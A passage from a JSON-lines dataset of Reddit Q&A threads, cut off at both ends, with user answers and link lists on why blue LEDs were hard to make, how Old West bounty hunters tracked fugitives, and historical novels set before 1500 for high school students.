I don't care for frilly stupid crap like logos and I certainly don't care for essential site functionality being removed.  Moderators have burned me too many times by getting just a little too creative with their CSS bullshit and I have lost all trust.  Every subreddit looks and acts the same, no surprises; I might miss out on some things like panelists tags, but it's worth it not to have to look at some god awful color scheme or have things taken away like I was a baby.  Whenever reddit has a temporary read-only mode and I'm reverted back to not-logged in mode I cringe at all the stupid CSS crap that goes on.\n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], [], [], [], [], [], [], [], [], ["http://www.reddit.com/r/askscience+diy+simpleliving"], []]}
{"q_id": "2ijwpn", "title": "Why was it much harder to develop blue LEDs than red and green LEDs?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/2ijwpn/why_was_it_much_harder_to_develop_blue_leds_than/", "answers": {"a_id": ["cl2sb49", "cl2ut5c", "cl2w8h1", "cl2wpzp", "cl2xi87", "cl2y0jn", "cl2yvp3", "cl305jn", "cl30gzn", "cl3hxax"], "score": [411, 204, 29, 19, 16, 2365, 6, 3, 5, 2], "text": ["The light given off by a solid state device is individual photons that correspond to an energy gap. The energy gap is the 'height' that the electron falls into a hole in the emmissive layer of an LED.  \n\nBlue photons have a higher energy than red or green photons. This means that you have to have a large hole for an electron to drop into. The problem lies with designing a material that the electron will drop the energy difference in a single move, rather than 2 smaller drops (which might make 2 \\* red photons for example).   \n\nTo get a pure colour, you also must reliably get the same energy difference consistently.  \n\nCaveat: I don't know the fine details of this beyond this point, and I haven't formally studied condensed matter,  so a lot of this is educated speculation based on what I do understand.", "From BBC article about the Prize winners:\n_URL_0_\n\n\"Inside an LED, current is applied to a sandwich of semiconductor materials, which emit a particular wavelength of light depending on the chemical make-up of those materials.\n\nGallium nitride was the key ingredient used by the Nobel laureates in their ground-breaking blue LEDs. Growing big enough crystals of this compound was the stumbling block that stopped many other researchers - but Profs Akasaki and Amano, working at Nagoya University in Japan, managed to grow them in 1986 on a specially-designed scaffold made partly from sapphire.\n\nFour years later Prof Nakamura made a similar breakthrough, while he was working at the chemical company Nichia. Instead of a special substrate, he used a clever manipulation of temperature to boost the growth of the all-important crystals.\"", "If memory serves (IANAPhysicist), the biggest issue in creating blue LEDs was finding a way to grow large enough gallium nitride crystals that were high enough purity, then finding a method to successfully create a p-type layer. Early efforts to grow GaN required growth on a sapphire, followed by the displacement of hydrogen using a laser. Eventually, more efficient methods were discovered for growing the GaN crystals, which led to mass production of blue LEDs.\n\nAh, looks like the [info](_URL_2_)(PDF) released by the _URL_1_ backs me up.\n\nFun experiment time: To help grasp bandgaps and LED color, I highly recommend looking into [this experiment](_URL_0_), involving the shifting of LED colors using temperature.", "Nothing in this thread so far has addressed the real issues that were holding back blue LED development. I study metal-organic chemical vapor deposition (MOCVD) which is the technique used to grow the crystal films for LED devices. The early red and yellow LEDs were made from gallium arsenide and indium phosphide and other related alloys. For these materials, the precursors used to grow the crystals decompose at around 600 degrees Celsius, so the reactors were developed for this growth regime. To make blue light, you need a material with a wider bandgap. While gallium nitride was known to be promising for blue and violet emission, it was not possible to grow gallium nitride films in the existing reactors because ammonia (the nitrogen precursor for GaN) decomposes at significantly higher temperatures (around 900-1200C) so devices needed to be grown closer to those temperatures. It turns out, you can't just crank the old reactors up because the design was such that there would be significant detrimental reactions in the chamber at these temps that lead to poor quality films (or none at all). Dr. Nakamura developed a novel reactor design that got around these problems and was able to grow good quality films in around 1993. \n\nThe second problem with the nitride system in the early days was finding a suitable acceptor dopant. LEDs need electrons and holes available to recombine to produce light, and holes are made available by adding some dopant that has less electrons than gallium. For a long time, researchers found that while they could get some dopant atoms into the film, holes were not made available for some reason... It was later discovered that hydrogen present in the growth system passivates the Mg acceptor atoms, and the films must be annealed in a hydrogen-free environment to remove the hydrogen and make the holes available.\n\nTLDR: The reactor design had to be modified significantly to grow gallium nitride, and it took a long time to figure out how to effectively p-dope the material.", "The material used, Gallium Nitride, was not able to be grown in sufficient quality or with the proper electronic properties (specifically p-doping) for quite some time.  With advances in growth techniques by metal organic vapor phase epitaxy (MOVPE) along with the realization that you could \"activate\" the p-type doping with e-beam irradiation or by rapidly heating, blue LEDs were able to be produced\n\nIt's funny that you say harder to develop than red and green. It turns out that creating high efficiency green and yellow LEDs is one of the biggest challenges for scientists today.  I should know, I'm one of them!", "Gallium nitride (GaN), which is the material used to create blue LEDs, is hard to grow. In order to make an LED you need to make a P-N junction, meaning a layer of p-type material (positively doped) on top of n-type material (negatively-doped). \"Doping\" a material is the process of changing the carrier concentration (number of electrons or holes) and this can be done by adding other elements with a different charge state, such as silicon (adds an electron) or magnesium (takes an electron). Unfortunately, adding these \"dopants\" introduces defects into the host material. Defects are bad and GaN is very sensitive to certain types of defects. Nakamura and others won the Nobel for figuring out how to grown GaN and effectively dope it p and n-type such that the material was still highly-crystalline and thus had excellent optical properties.\n\n\ntl,dr: crystals are good for LEDs. blue LED crystals were hard to grow since they are more sensitive to defects in the material.\n\n--\n\n\nabout me: PhD Materials Scientist who grows GaN and other semiconductor materials. \n\nSources: \n\n\n* Nakamura's original paper: _URL_5_\n\n\n*  p-type doping of GaN from Akasaki and Amano (free): _URL_4_\n\n\n*  Nakamura's Science paper, good overview (free): _URL_2_\n\n\n*  Characterization of GaN PN junctions: _URL_0_\n\n\n*  Good comprehensive overview of III-nitride semiconductors (free): _URL_1_\n\n\n* Also, Nakamura has written an entire book on the subject, some of which you can read on google: _URL_3_\n\n--\n\n\nedits: literature citations", "Did my _URL_0_. thesis on this topic.  Read a bunch of Nakamura's papers.\n\nProblem #1:  You need to deposit the LED material on a substrate.  For blue LEDs which use gallium nitride, there was no good match in atomic lattice spacing between GaN and potential substrates (sapphire, SiC).  This caused cracks that protrude through the material, absorbing potential photons.  Nakamaru found a way to grow a buffer layer in between to fix this.\n\nProblem #2:  An LED needs p-type and n-type material to work.  Both are created by adding different impurities to each material.  The p-type impurity, however, could not a) integrate well, b) activate itself, and c) would be passivated by hydrogen.  Nakamura found a way to anneal the GaN to remove the hydrogen.\n\nProblem #3.  LEDs were not as bright because the +ve and -ve charges would escape the LED region.  Nakamura's biggest contribution was to use a quantum well (and double heterojunction) to confine these charges, increasing the brightness 3-9x more than without the well.\n\nHe also did work with blue-green LEDs, and I remember him presenting work on amber LEDs (which is impressive for the material used).", "Side question: A lot of people are talking about the problem of growing large gallium nitride crystals. How did we know gallium nitride would produce blue? Are there any other compounds that could produce blue for LEDs?", "As a matter of fact green LEDs are the the hardest to develop as opposed to blue and red LEDs.\n\nThe formation of an LED as a solid state device is done using certain [direct gap](_URL_0_) materials where their energy gaps correspond to a visible light spectrum energy. So red light would be produced by a small gap material (smaller energy) such as AlGaAs and blue light would be produced by a large gap material (larger energy) such as AlGaN.\n\nAlGaN wafers are much harder to manufacture as opposed to GaAs which is why blue LEDs are thought of as the hardest to develop. The interesting thing about green LEDs, however, is that there are very few materials which will produce a true green light. Although they do exist, they are typically not very stable materials. So what they will do is they will use GaN which emits blue and green light and they'll use an optical filter to filter out the unwanted wavelengths of light. This is why if you look at an efficiency table such as the one in this [Wikipedia article](_URL_1_) you'll see that the least efficient LEDs are green LEDs.\n\nSo to sum things up red LEDs are much easier to manufacture than green or blue LEDs because red LEDs are made with materials that are easier to manufacture than green or blue LEDs. Green LEDs are even harder to manufacture because there is no known stable material that produces only green light.", "Blue is higher energy photon implying bigger band gap. Thus takes more 'pumpage' to get that high, and so is likelier to trickle its energy away down a nasty junk pile than the proper photon way, so mankind can see he scores at night."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://www.bbc.com/news/science-environment-29518521"], ["http://ap.smu.ca/demos/index.php?option=com_content&amp;view=article&amp;id=181&amp;Itemid=78", "NobelPrize.org", "http://www.nobelprize.org/nobel_prizes/physics/laureates/2014/popular-physicsprize2014.pdf"], [], [], ["http://scitation.aip.org/content/aip/journal/apl/73/7/10.1063/1.122057", "http://scitation.aip.org/content/aip/journal/jap/87/3/10.1063/1.371971", "http://www.sciencemag.org/content/281/5379/956.short", "http://books.google.com/books?hl=en&amp;lr=&amp;id=AHyMBJ_LMykC&amp;oi=fnd&amp;pg=PA1&amp;ots=-TWn5KcSiy&amp;sig=J5q-IvF8kHBFelwJIPu9PDoaAjc#v=onepage&amp;q&amp;f=false", "http://iopscience.iop.org/1347-4065/28/12A/L2112", "http://iopscience.iop.org/1347-4065/30/10A/L1705"], ["M.Sc"], [], ["http://en.wikipedia.org/wiki/Direct_and_indirect_band_gaps", "http://en.wikipedia.org/wiki/Light-emitting_diode"], []]}
{"q_id": "9r4jqp", "title": "In old Westerns, trackers could follow fugitives across any landscape at speed, and couldn't be shook by old movie standbys like walking through the water. What's realistic about how well and fast a tracker could track, and are there any other interesting historical aspects of tracking?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/9r4jqp/in_old_westerns_trackers_could_follow_fugitives/", "answers": {"a_id": ["e8fp5ha"], "score": [89], "text": ["**Introduction**\n\nThe classic Western tracker, more commonly referred to as a bounty hunter, has deep historical roots. To set up the discussion of their effectiveness and answer the second part of your question, it's worth understanding the backstory which led to the rise of private law enforcement which I detail in Part II. However, the primary question seems to be accuracy of their portrayal in media and the methods they utilized which I'll address in Part I.\n\n & #x200B;\n\n**Part I - Bounty Hunting 101**\n\nTo begin, I would highly recommend you read Stuart Traub's *Rewards, Bounty Hunting, and Criminal Justice in the West: 1865-1900*. Despite a dearth of literature describing the legal basis of private law enforcement and/or retelling the lives of famous bounty hunters, very little scholarship attempts a broader historical analysis of the Wild West. If something I say seems to lack citations, you should probably refer to Traub's analysis.\n\nWith that said, let's get the most important clarification out of the way. Bounty hunters are almost always not portrayed accurately in movies. Most weren't flashy, gung-ho murders or Sherlock-esque geniuses [\\[1\\]](_URL_2_). Usually, they were males with weapons experience and familiarity with living on the frontier. Time to track down a target, transport them back, and secure the bounty varied greatly on a case by case basis; it certainly doesn't match pop culture standards. The vigilante narrative is also highly inaccurate. Bounty hunters usually worked for private organizations like Wells Fargo which had an interest in reducing criminal activity and/or were law enforcement officials like sheriffs who needed more money [\\[2\\]](_URL_4_) [\\[3\\]](_URL_1_) [\\[4\\]](_URL_6_).\n\nBelieve it or not, bounty hunters did not possess extraordinary powers of prediction. Two factors made the famed skill of tracking a whole lot less relevant. First are the physical constraints. In the area where bounty hunters were employed, the environment was harsh. Take the desolate climate of the Mohave and the dangerous blizzards of the Rockies; running across a river or disappearing into the hills isn't very useful when nature itself seems to want to kill you. Additionally, one must consider criminals' desires. If you had a bounty, you probably had an intense need for infamy and/or wealth. Those can't be acquired if you never contact civilization. Lack of certain resources, environmental harshness, and human desires generally drove criminals to visit towns which made tracking far easier [\\[5\\]](_URL_3_).\n\nThis leads to the second factor: information sharing. The Wild West equivalent to dusting for fingerprints were aliases and physical descriptions. Bounty hunters were not afraid to ask a lot of questions; sometimes quite forcefully. As the bounty hunter pursued a target, general mandates turned into more specific details. For example, the target was originally said to be within three counties gradually turns into near these two towns and so forth. The expansion of private law enforcement like the Pinkerton's and Rocky Mountain Detective Association aided this spread of information greatly by providing a framework for bounty hunters to cooperate with the incentive being mutual gain. The most poignant example of this information spread \"was *The Detective*, official journal of the police authority and sheriffs of the United States...this five to six page newsletter provided information about wanted criminals: rewards  offered, crimes committed, physical descriptions, and when available, pictures [\\[5\\]](_URL_3_).\" Thanks to information gathering, bounty hunters possessed a significantly lower need for tracking expertise than what is portrayed in movies.\n\nThat said, the movies did get on thing right: many bounty hunters possessed elements of expertise and utilized it to their advantage. As mentioned above, those who were bounty hunters had familiarity with guns due to involvement with law enforcement or herding cattle. These traits and the nature of living in a developing West meant many had experience hunting, camping, and so forth which improved odds of successfully navigating the wilderness [\\[5\\]](_URL_3_). In this case, individual examples are the most useful tool to illustrate bounty hunters widely varied skill set. Take the case of Jim Kirker: a former mountain man turned bounty hunter. His experience in navigating mountainous terrain and surviving in harsh conditions aided in killing his targets which were Native Americans [\\[6\\]](_URL_5_). Another example is Charlie Siringo: a former cowboy who became a Pinkerton detective. His work as both a 'classic Western bounty hunter' and a detective who infiltrated gangs undercover demonstrates the shift in tactics due to need for information that I mentioned earlier [\\[7\\]](_URL_0_). In sum, bounty hunters almost always relied more on shared information and gradual narrowing down of suspects and locations rather than Hollywood-style intuition.\n\n & #x200B;\n\n**Part I - Citations**\n\n\\[1\\] Man-Hunters of the Old West.\n\n\\[2\\] What really happened in the Wild West? The Gunslinger Myth\n\n\\[3\\] The History of the American West Gets a Much-Needed Rewrite\n\n\\[4\\] Were Bounty Hunters as Despised as Most Westerns Depict?\n\n\\[5\\] Rewards, Bounty Hunting, and Criminal Justice in the West: 1865-1900\n\n\\[6\\] Did guys actually exist in the Old West who made their living as bounty hunters?\n\n\\[7\\] Midnight cowboys: bounty hunters of the Old West\n\n & #x200B;\n\nEdit 1: discussion of speed"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://historyhoydens.blogspot.com/2011/04/midnight-cowboys-bounty-hunters-of-old.html", "https://www.smithsonianmag.com/history/history-american-west-gets-much-needed-rewrite-180960149/", "https://sci-hub.tw/https://doi.org/10.1093/whq/why008", "https://www.jstor.org/stable/pdf/968233.pdf", "http://www.historyisnowmagazine.com/blog/2014/7/24/what-really-happened-in-the-wild-west-the-gunslinger-myth", "https://truewestmagazine.com/did-guys-actually-exist-in-the-old-west-who-made-their-living-as-bounty-hunters/", "https://truewestmagazine.com/bounty-hunters-despised-westerns-depict/"]]}
{"q_id": "7tlab7", "title": "I'm a high school History teacher, and I would like to assign some historical fiction novels in my classes in order to get my students more engaged in history. Any suggestions?", "selftext": "I teach World History to high school seniors (12th grade, ages 17-18). The other history teachers at my school are all coaches, and well, they're better coaches than they are teachers. So when my students come to me, they are accustomed to leaving a history class without learning anything, and without caring about history at all. I do my best to change this mindset but the beginning of the school year is the most is the most difficult time for that. So for this upcoming school year, I would like to assign a historical fiction book to my students to immediately engage them in my class. I wanted to ask this question here because I haven't read many historical fiction novels, and before I spend lots of time reading and researching the content of these books before giving them to my students in August, I was hoping to have verification of the book's attempt at accuracy. \n\n\nI am looking for books that cover anything before the year 1500 (CE) and that are appropriate for high school students. Even though about half of my students are old enough to smoke on their way to the voting booth, my district still has rules about the kind of content that can be assigned to students. However, if there is a book that is just an excellent example of a specific culture or event, I can have parents sign a waiver -- I just can't have that apply to every book I assign. \n\nI would also like the books I assign to cover a broad range of cultures and time periods. I don't want to have 12 books for my students to choose from if 6 of them are about Rome. \n\nAdditionally, it would be great if the books were all standalone novels -- mostly because if its really good and a series then I'm going to have to finish it before I can move on to the next book!\n\nIf you all could make any suggestions, I would greatly appreciate it! Thank you so much for reading this!", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/7tlab7/im_a_high_school_history_teacher_and_i_would_like/", "answers": {"a_id": ["dtdcggh", "dtdd07e", "dtdecdp", "dtdffod", "dtdh6vq", "dtdj1uk", "dtdj8x1", "dtdkw7f", "dtdkzgs", "dtdlqhk", "dtdrfy5", "dtdrzou", "dtds4v8", "dtdscfl", "dtdsj79", "dtdsqu5", "dtdtewo", "dtdvcmt", "dtdw8el", "dtdyre0", "dtdzf7v", "dtdzqvn", "dtdzu3p", "dte00qf", "dte0oee", "dte1nhv", "dte2gxc", "dte6ze5", "dteab58", "dtec3qk", "dteg2ua", "dtem74g", "dtesod5", "dtfmmak", "dtgkkel"], "score": [80, 2, 10, 56, 90, 11, 25, 3, 40, 44, 27, 11, 17, 22, 13, 13, 4, 2, 9, 3, 13, 3, 3, 6, 3, 4, 3, 3, 3, 3, 9, 2, 3, 2, 2], "text": ["The book *Silence* by Shusaku Endo, about Christianity in Japan, is one of the single most memorable books I\u2019ve ever read. It will leave a lasting mark on your students. It takes place in around 1600, however. There\u2019s a lot of descriptions of violence (like crucifixion) but no sex or course language that I remember. \n\nConsider having them read some Boccaccio for medieval Europe. You\u2019ll have to choose which stories\u2014though it\u2019s authetnically medieval, some parts are pretty raunchy. Likewise, Anglo-Saxon poetry is great. Dream of the Rood and the Wanderer are two good entry points. \n\nOne place that might be interesting to look is *If It Had Happened Otherwise*, an early collection of \u201calternative history\u201d, though I think only one fits your time period (\u201cIf the Moors in Spain Had Won\u201d) which I can\u2019t remember if it was any good. \n\n*My Name Is Red* is Orhan Pamuk\u2019s most famous Ottoman Novel, but I didn\u2019t like it very much. I much preferred the more straightforward *the White Castle*. Anything Ottoman, though, is pushing up against your end date. It\u2019s not a novel, but an interesting non fiction book by a novelist might be *the Crusades through Arab Eyes*. I haven\u2019t read it, but I have heard good things about *Shadows of the Pomegranate Tree* by Tariq Ali (set in 1499 Spain, apparently). Ditto *The Rock: A Seventh Century Tale of Jerusalem* (which is apparently quite political for a book taking place thirteen centuries ago). ", "[The Last of the Wine](_URL_0_) by Mary Renault\n\nflap blurb:\n*In The Last of the Wine, two young Athenians, Alexias and Lysis, compete in the palaestra, journey to the Olympic games, fight in the wars against Sparta, and study under Socrates. As their relationship develops, Renault expertly conveys Greek culture, showing the impact of this supreme philosopher whose influence spans epochs.*\n\n\nPossibly awkward/awesome: This book is primarily centered on mentor/mentee relationships in late Golden Age Athens, and it acknowledges the romantic and often sexual nature of these relationships with a fairly neutral eye (nothing graphic or raunchy, but there's plenty of talk of man-boy love).  If the prospect of an in-class discussion where the appropriateness of teacher/student romance is considered is out of the question for you, then you might want to skip this.  If you're up for that sort of thing, though, it's a hell of a hook for instant engagement.", "This is a great exercise and I hope you find some good options! I keep running afoul of the fact that my favorite historical more-or-less-standalone novels are either outside of the period, super inappropriate for a school setting, or both. Wolf Hall? Post-1500, has a sequel. Slammerkin? 18th century, about miserable underage sex workers.  As Meat Loves Salt? 17th century, POV character is a rapist. Woof. \n\nSome of Mary Renault's standalone historical novels might be pushing it on the sexual content but I remember liking *The Mask of Apollo* (4th century BC Greece). Bruce Holsinger's *A Burnable Book* is set in late 14th century England, with a lot of appearances by contemporary political and literary figures (John of Gaunt, Chaucer, etc.) One of the POV characters is a sex worker and in modern terms might be called transgender (the historical figure John/Eleanor Rykener) if that's something you predict having issues with, though I don't remember a real wealth of explicit content. Are you leaning toward historical fiction in the \"written recently, set pre-1500\" sense, or are you okay with older works in then-contemporary settings a la Chaucer/older works attempting coverage of historical events a la Shakespeare's history plays? ", "*The Silver Pigs* by Lindsey Davis is about a private detective in Ancient Rome under Vespasian.  Marcus Didius Falco is sarcastic, and the tone is not too serious.  Much of the book (and series) takes place in everyday Rome, instead of focusing on the famous figures.\n\n*The Eagle of the Ninth* by Rosemary Sutcliff is a young adult novel about a discharged Roman officer seeking information on the the fate of his father's legion, who vanished in northern Britain.  (For a long time, Legio IX disappeared from the records after being stationed in Britain, but recent archeology suggests it was transferred elsewhere.)\n\n*One Corpse Too Many* by Ellis Peters is a mystery novel set during the Anarchy, the English civil war between King Stephen and Empress Matilda.  The protagonist is a monk in Shrewsbury Abbey, who was formally a crusader.\n\n", "I don't particularly like him, but Bernard Cornwell will almost certainly engage your male students. He's an author you will absolutely need to get parents to sign a waiver for, so I recommend his novel *1356*, about the Battle of Poitiers, or *Azincourt*, which is about the Battle of Agincourt. The latter has an especially interesting subplot revolving around a couple of Saints. Cornwell's *Warlord Chronicles* might also be of interest, as it's meant to be a \"historical\" take on King Arthur.\n\nEdit: to clatify, Cornwell's history is adequate, about on par with your average pop historian. It's just his writing style and some of his attitudes that bug me. Generally it's his interpretation of events or customs that I don't like, rather than the actual facts (except for his blind adherence to Keegan in the matter of horses charging).\n\nEdit 2: Also, I'd recommend Ellis Peter's *Cadfael* series, which are about a monk solving murder mysteries during The Anarchy. It's a pretty good look at mid-12th century England, and no waivers are needed.", "Shogun is a phenomenal book about the opening, and closing,  of Japan, and the beginning of the Edo period. It is fascinating, excellently researched, and really just superb historical fiction. Additionally, the cultural information presented is spot on. Clavell is awesome, and Shogun is awesome.", "There are several series of books by Christian Jacq set in ancient Egypt. He was trained as an Egyptologist, so the historical accuracy is generally pretty good. \n\n*Death Comes as the End* is Agatha Christie's only novel set in the past (ancient Egypt) and was inspired by the Heqanakht papyri. Christie's husband was an archaeologist, which influenced several of her books.\n\n*Helen of Troy* by Margaret George was a great read; her other books are worth a look. ", "*The Roman Mysteries* may be a little young for 17-18 year olds, but they're generally well-researched, covering the adventures of a group of kid detectives in Roman Ostia from AD 79 onward. Each novel has historical notes in the endpapers to explain Roman customs, politics, or Latin terms.", "Colleen McCullough's seven part *Masters of Rome* series is far and away my favorite when it comes to historical fiction. I mean I had some general interest in ancient Rome before I read those books, but afterwards I became positively obsessed with the period for a while (still am to some extent), and it helped me make the jump to actual academic literature.\n\nI'd say it's also as realistic a portrayal as a historical novel can be. Especially about the ancient world, with all the knowledge gaps we still have about the nitty gritty of particular events, people and even daily life. So she does have to speculate, but she usually tries to base her speculation firmly on the knowledge we do have, and there's actually a chapter at the end of each book detailing how she used her sources to arrive at the narrative she presents.\n\nThere is some sex and violence, but nothing gratuitous, so it should be fine (though not having gone through the US education system, I might be off on that, so take my assessment with a grain of salt). And don't worry about assigning a series either. The first book in particular, *The First Man in Rome*, can stand very well on its own, detailing the political and military rise of Gaius Marius, his war against the Numidian king Jugurtha as well as his famous victories against the Cimbri, Teutones and Ambrones. It ends with him fully taking his place in the political establishment by defeating his former political allies, Saturninus and Glaucia, who had been declared in rebellion by the senate. So while there are definitely plenty of \"sequel hooks\" (especially in regards to Marius' relationship to his prot\u00e9g\u00e9 Lucius Cornelius Sulla), it very much tells a complete story. So I'd say assign the first book and tell them there's plenty more where that came from for those interested.", "The name of the Rose, by Umberto Eco.   \nIt's set in a medieval abbey and revolves around books, christianity and Aristotle.   \nThere's a sex scene though.   \nAlso  The shield of Talos, by Manfredi, but I don't know if ot was translated in english.   \nThe story of a boy during the messenian revolt.\n\n", "I thought Pillars of the Earth was a good read - been a long time since \nI was 18, so not sure what type of reading/interest level they operate at these days - it's a sizable book.", "Akhenaten: Dweller in Truth by Naguib Mahfouz.\n_URL_2_\n\nI taught this at the very beginning of the year as it gives students multiple accounts and perspectives of the same event - it really allowed me to set the tone at the beginning of the year in regards to examining perspectives. \n\nIf you're interested in using film in your class, I would definitely check out Teaching History with Film: Strategies for Secondary Social Studies (_URL_1_) and Teaching Difficult History through Film (_URL_0_). Both books give excellent rationals for using film and give several cases/strategies on how film can be used effectively. \n\nI taught AP World History for 6 years (am now working on my PhD in Secondary Social Studies Ed) and I've definitely experienced what you're experiencing. My students were also seniors and their previous teachers were also lackluster. I also taught 1984 and Brave New World towards the end of the year, but film is where I really hooked them. You might get some pushback from your admin for using film (I know I did), but it can be really effective if done right.", "I.J. Parker's detective novels set in 11th century Japan are really good, exciting reads. I recommend [\"The Black Arrow\"](_URL_0_) as the one that would really capture the imagination of teenagers. It's got action, mysteries, and humour.\n\n > As \"Black Arrow\" opens, Sugawara Akitada assumes his new post as provisional governor of Echigo, a frigid province in the far north notorious for its hostility to outsiders. But the snow that threatens to completely isolate the region is the least of his problems which include a local uprising, a series of brutal murders, and a mystery that's as old as the frozen hills and a lot more dangerous.\n\nHowever, there are some fade-to-black sexual encounters in that book (the hero's assistant is seduced by a femme fatale) and the others, and in general, this is a thing with Japanese historical fiction. Sexuality was very much open and on display and novels will reflect that. Parker's novels, though, are not on the lurid side of things, and \"The Black Arrow\" will probably win \"morality points\" by being about a married man in love with his wife. It depends on your local atmosphere.\n\n**ETA:** No historical novel is going to be 100 percent accurate, and they'll probably be a lot less than that. But an engaging story that gets people interested is still worthwhile, in my opinion. Your job as the teacher is to not present novels as the truth, but a way in. Sounds like you're doing a fine job there.", "Robert Graves might have some good novels for this. *I, Claudius* is what everyone will point out. I really like his novel *Belisarius*, though it's kind of a revisionist approach to Procopius's *A Secret History* and I have no idea of the historiographical opinions on it these days.", "I quite enjoyed the *Cicero-Trilogy* By Robert Harris (the three books themselves being titled *Imperium*, *Lustrum* and *Dictator*). The books are written from the perspective of Cicero's personal secretary Tiro (who himself is a historical person who wrote extensively about his former master after Cicero's death, but his works have sadly been lost, so Harris is using secondary sources (of which many relied on Tiro's works) to creat the viewpoint) about the events that transpired in Rome from the beginning of Cicero's rise to fame when he prosecuted Verres to his death at the behest of the triumvirate. \n\nIt's decently sourced (while, of course, taking some artistic liberties, but as far as I can judge not changing any major events but more regarding the fillers in between) and very well written in my oppinion.", "Edmund Rutherford's London and Sarum is good; he's also written about Ireland and Russia, but all of his works are long, like  < 500 pages, so I don't know if any one will actually read all of it. \n\nWhat about John Gardner's Grendel? Funny as hell, quick, and if they had Brit Lit in 11th grade they read a bit of Beowulf. \n\nYou could also assign a tale or two from Chaucer's Canterbury Tales, and some Irish/ Welsh stuff: Irish would be the Tale of Cuchulain and Welsh would be the Mabinogi. \n\nYou might consider longer short stories or chapters that can stand alone, especially if they are coming from classes where not much was expected of them. \n\nPM me with your requirements and let me see what I can come up with. I'm an English teacher. \n\nPS Do you have a good librarian? \n\n(I'm so excited to see if my comment stays-- I've never been bold enough to post to AskHistorians)", "I\u2019m partway through Aliette de Boddard\u2019s *Servant of the Underworld*, the first of three mystery novels following an Aztec priest. It\u2019s not the most beautifully written work ever, but the plot moves along fine and the setting is unusual and engaging. [And it seems to get the religion right](_URL_0_) per u/Mictlantecuhtli (I wouldn\u2019t know myself). There\u2019s a lot of animal sacrifice and ritual blood-letting to work magic, but the closest you get to sex is intent to commit adultery and talk about sacred courtesans.", "Gates of Fire by Steven Pressfield, about the Battle of Thermopylae. \nI read this in  high school  as recommended by my history teacher and it singlehandedly changed the way I looked at learning history and learning in general. \n\nPossible deal breakers are scenes depicting a rape and subsequent attempted abortion. \n\nEven if this doesn\u2019t help you with reading material for your students, it\u2019s definitely an awesome read. ", "Maurice Druon - [Les Rois Maudits](_URL_1_) (the accused kings). Seven novels covering roughly the XIV-th century in France. Some sex and violence.\n\nAlexandre Dumas - [La Reine Margot](_URL_2_) (so a bit over 1500), and Julius Caesar, read them as a kid, don't remember any license. Also, Dumas is generally safe.\n\nFrans Bengtsson - [The Long Ships](_URL_0_). Vikings cca 1000 AD. Again, read it in my youth, I *think* it's safe. Some violence, the only sex I can remember is implied, not described.\n\nTim Severin - [The Brendan Voyage](_URL_3_). Not a novel, but the story of a modern-day attempt of retracing the legendary journey of VI-th century St. Brendan from Ireland to (apparently) America. Complete with technical details on building boats of leather (tanned with oak bark), and island-hopping in these from Ireland / Hebrides / Iceland / Greenland.", "I\u2019m in the middle of [*The Outcasts of Time*](ttps://_URL_1_) by Ian Mortimer. It\u2019s brand new, published last year. In 1348, two men on a hill outside Exeter are about to die of the plague. They are approached by a spirit (devil? God?) who offers them a choice: live out their last six days in their time, or be cured and live the same six days\u2014but each morning they wake up 99 years in the future. Obviously they take the red pill.\n\nThe history is spot on, as Mortimer is a historian. The writing is pretty good. He does a great job switching up the phrasing and word choice just enough so that you feel transported, while still being able to easily follow along. There isn\u2019t too much of a plot, since they keep hitting reset on their life, but in this case the journey is the destination. You learn all sorts of things about the time periods they pass through, and you see it from the point of view of a time traveller (as you would be) but from the PAST. Subtle things, such as how the date is reckoned (AD vs \u201cthe fifth year of the reign of King Edward III\u201d), to dramatic things like the enclosure of crop land and how wars are waged. You get to see our modern world being built, stone by stone, over the course of 600 years.\n\nIf you can get around the supernatural device, I\u2019m sure your students would enjoy it.\n\nI also wanted to put in a plug for [*The Thousand Autumns of Jacob de Zoet*](_URL_0_). This masterful David Mitchell novel follows the upright de Zoet as he tries to work out who\u2019s embezzling what in Dejima, the Dutch East India Company\u2019s trading outpost in the Nagasaki harbour. There\u2019s a Wild West feel to this place, and a host of well-observed, indelible characters. Lots of Enlightenment philosophy and historical accuracy. This is one of my favourite novels, period. At 1799, though, it does fall quite a way outside your pre-1500 range. (Mitchell wrote the equally-excellent *Cloud Atlas*, which isn\u2019t really historical fiction but is just amazing and is something you should read yourself!)\n\nThis post seems to have taken off.  Good luck picking your novels, seems like you\u2019re spoiled for choice!", "Other posters have mentioned Robert Harris' Cicero trilogy, all of Bernard Cornwell's work, Clavell's Shogun, The Pillar's of the Earth, and The Name of the Rose, all of which I'd second. \n\nI'd add Hild by Nicola Griffith, a magnificently well-researched book following a young girl who becomes an oracle/advisor to the pagan/then Christian king of Northumbria in the 7th century. It's a brilliant setting as it shows Britain during the tribal/kingdom conflicts of Britain just as it was beginning to get unified and Christianized. It is also one of the very few historical novels written from the POV and abut the life of a female character.\n\nThe Source, by James Michener is brilliant as it follows an archeological dig as it goes through the layers of discovery of a site, each chapter being a short story set in a different time period, starting with stone-age Israel, then the tribal, and kingdom periods of Israel, then progressively working up to modern history. The later chapters cover 20th century history, but as each chapter can work as a standalone short story, you can just give the students as much as you want.\n\nI'd also recommend The Last English King by Julian Rathbone, which is a brilliant story based around William the Conquerer's invasion, from the point of view of the Anglo-Saxons.\n\nAnother would be Creation by Gore Vidal. Its a brilliant work that follows the grandson of Zoroaster who travels the known world in the 5th/6th century BC, works for the Persian Ruler Darius and meets the major figures of his time, Socrates, the Buddha, Mahavira, Lao Tsu, and Confucius. Julian, about the Roman Emperor Julian the Apostate, is also very good.", "If you are looking for some historical perspective on the South Asian / Indian civilization and how it interacted with other civilizations in the region - Middle East, Africa and Southeast Asia, then I would recommend \"The Ocean of Churn\" by Sanjeev Sanyal. This is NOT a historical fiction, though that is your question. This is a pretty easy read at the same time gives us a lot of information on the civilizations that once adorned those parts of the world. \n\nSanjeev Sanyal writes: \u201cHistory looks different when witnessed from the coastlines rather than from an inland point of view.\u201d In this groundbreaking, one-of-its-kind book, Sanjeev Sanyal retraces History from the Indian Ocean's and its coastline's perspective. The book start right from the origin of Indian Ocean due to the movement of tectonic plates and ends right at the transformation of Bombay to Mumbai with the reclamation of land over the ocean. The book is full of rich details of all kingdoms that throve around the Indian coastline and islands 